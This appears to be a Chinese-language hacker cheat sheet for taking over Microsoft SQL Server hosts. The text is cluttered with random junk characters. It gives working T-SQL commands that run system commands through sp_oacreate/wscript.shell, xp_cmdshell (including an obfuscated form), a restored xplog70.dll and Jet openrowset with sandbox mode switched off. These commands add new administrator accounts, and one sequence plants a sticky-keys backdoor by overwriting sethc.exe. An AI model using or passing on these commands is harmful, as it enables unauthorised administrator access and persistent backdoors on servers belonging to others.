" `8 r" m C0 [* Z" B: \& y4 终极方法.+ U. J6 q9 L3 c# m
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户: - P/ c) `" ?6 j) {3 i查询分离器连接后,; X6 w. B! y9 v' R, q
2000servser系统: $ q# e3 Z; A' q, K1 [0 V+ [4 Zdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add' # J, g* _6 Q) }9 v5 n! H+ U1 ]) `2 q3 ?3 u9 x6 ~( |, I
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'" v- c$ m( [ }' J- E) D
+ W& \0 C+ P1 d' B) kxp或2003server系统:! U' y7 u+ C5 D& n
$ P% q; r3 k' |' }3 wdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'' G2 {4 @ s# B* v: j! {
) d9 n6 K0 j# `: y' @0 ]declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add' 0 d6 U0 J" b* Z( d4 z9 \9 D; L: D+ u2 [2 M; B& D. X
/ A/ d `" M; X, S4 n X
五个SHIFT - [9 i! |! G! ?declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe'; 1 h7 [/ I& d; r& f+ e - n$ K9 c( f+ Q( s+ N8 t$ C! Q5 Qdeclare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe'; 6 q F! S6 O" g) a
. }+ `6 l7 v( M( B* p% Oxp_cmdshell执行命令另一种方法 ' f2 u" y/ l. ~5 S8 Q/ q* Zdeclare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add' - l9 T' d' f/ Q) a3 O' g0 ]- }
. r! z' V4 S0 l$ l9 @9 Z& V4 _判断存储扩展是否存在# s* R; O6 {# w' u6 q" a- U: l
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'+ t9 L( Z! L' l# S
返回结果为1就OK0 ~/ g* k9 a) c
9 b Z7 ]0 e2 {9 y/ u0 Z
' Y2 P$ b' R( E% b/ F8 {: d$ K上传xplog70.dll恢复xp_cmdshell语句:* W$ U G( ~! x' k9 T0 ?7 y
sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL' ! ?2 `$ z: r" u! W9 o4 i& ?! c5 c' F, x
否则上传xplog7.0.dll 5 N6 e3 g2 n. \! ]# yExec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'+ u! p& T" w# S1 y/ i8 c) f1 }
6 t+ C2 q! _7 w/ p( A9 N
9 v2 S4 e8 j2 E5 I; S; H) z
4 m6 U3 n0 `+ `6 @. J首先开启沙盘模式:; y9 ^7 A1 r# G3 Z: }0 U5 i
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1 ! a! D7 X4 C% ^' z7 u# \, q9 ?9 c0 k; Y: m# y+ h
然后利用jet.oledb执行系统命令( r# C2 G& l: x/ r
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")') ! T( g3 j1 m0 ?/ i% Y" U7 c U! j/ R返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1-- 发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了# T5 m1 E6 d3 a/ _! g! K
y. ~) C& K: d. Z 6 Q7 t% U) n7 G/ h4 W / A. m) z$ W2 C5 f恢复过程sp_addextendedproc 如下: 0 O9 U: r5 L, S, j6 p0 i+ Jcreate procedure sp_addextendedproc --- 1996/08/30 20:13 4 j+ M: }7 {0 \6 u \% ~$ e" v@functname nvarchar(517),/* (owner.)name of function to call */ % S3 X- M6 N x \: s" b3 F
@dllname varchar(255)/* name of DLL containing function */ 2 g5 F2 x2 r* A, @4 ?
as ( e3 ] y5 y2 K1 uset implicit_transactions off ) W3 D1 v% H% b) M. V. }, l! b
if @@trancount > 0 : P/ m- D& h& a8 ]3 Y2 T# nbegin $ V" y; \: T! i1 k4 p% Z3 j
raiserror(15002,-1,-1,'sp_addextendedproc') 5 p2 ]$ @' G( P5 _return (1) / k- l. N7 G5 f& }6 f/ j
end ) T2 ~0 X8 s& a
dbcc addextendedproc( @functname, @dllname) % j6 y4 @: I% P6 R
return (0) -- sp_addextendedproc ; V, U( v2 L. V6 U3 l/ W' w6 h
GO ; B# z' Y- A0 g- C% Z: c! `1 {% y, |' p l* S9 k, u